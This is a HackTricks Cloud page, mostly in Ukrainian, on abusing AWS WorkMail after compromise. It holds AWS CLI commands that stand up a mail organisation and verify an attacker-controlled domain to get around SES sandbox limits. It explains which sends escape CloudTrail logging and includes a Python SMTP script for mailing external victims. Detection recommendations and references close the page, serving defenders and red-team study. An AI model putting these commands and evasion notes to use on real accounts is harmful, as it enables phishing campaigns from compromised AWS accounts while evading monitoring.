AWS - WorkMail Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Зловживання WorkMail для обходу SES sandbox

Навіть якщо SES застряг у sandbox (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail не має еквівалентного обмеження. Зловмисник з довгостроковими ключами може розгорнути тимчасову поштову інфраструктуру і почати надсилати негайно:

  1. Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  1. Підтвердити домени, контрольовані атакуючим (WorkMail invokes SES APIs as workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  1. Налаштувати користувачів поштових скриньок та зареєструвати їх:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Примітки:

  • Типове recipient cap, задокументоване AWS: 100,000 external recipients/day per org (aggregated across users).
  • Активність перевірки домену з’явиться в CloudTrail під SES, але з invokedBy: workmail.<region>.amazonaws.com, тож SES verification events можуть належати налаштуванню WorkMail, а не SES-кампаніям.
  • Користувачі поштових скриньок WorkMail стають application-layer persistence, незалежними від IAM users.

Шляхи відправлення & прогалини в телеметрії

Web client (WorkMail UI)

  • Відправки відображаються як ses:SendRawEmail події в CloudTrail.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, тому істинна IP-адреса клієнта прихована.
  • requestParameters все ще leak інформацію про відправника (source, fromArn, sourceArn, configuration set), що дозволяє корелювати з недавно verified domains/mailboxes.

SMTP (найменш помітний)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) with the mailbox password.
  • Жодні CloudTrail data events не генеруються для доставки через SMTP, навіть коли SES data events увімкнені.
  • Ідеальні точки виявлення — org/domain/user provisioning та SES identity ARNs, на які посилаються в подальших веб-відправлених SendRawEmail подіях.
Приклад надсилання SMTP через WorkMail ```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

</details>

## Рекомендації щодо виявлення

- Якщо WorkMail не потрібен, заблокуйте його через **SCPs** (`workmail:*` deny) на рівні організації.
- Сповіщайте про провізіонування: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, а також верифікації SES з `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Слідкуйте за аномальними подіями **`ses:SendRawEmail`**, коли identity ARNs посилаються на нові домени, а IP/UA джерела дорівнює `workmail.<region>.amazonaws.com`.

## Посилання

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перегляньте the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) або до [**telegram group**](https://t.me/peass) або **стежте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться hacking tricks, надсилаючи PRs до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>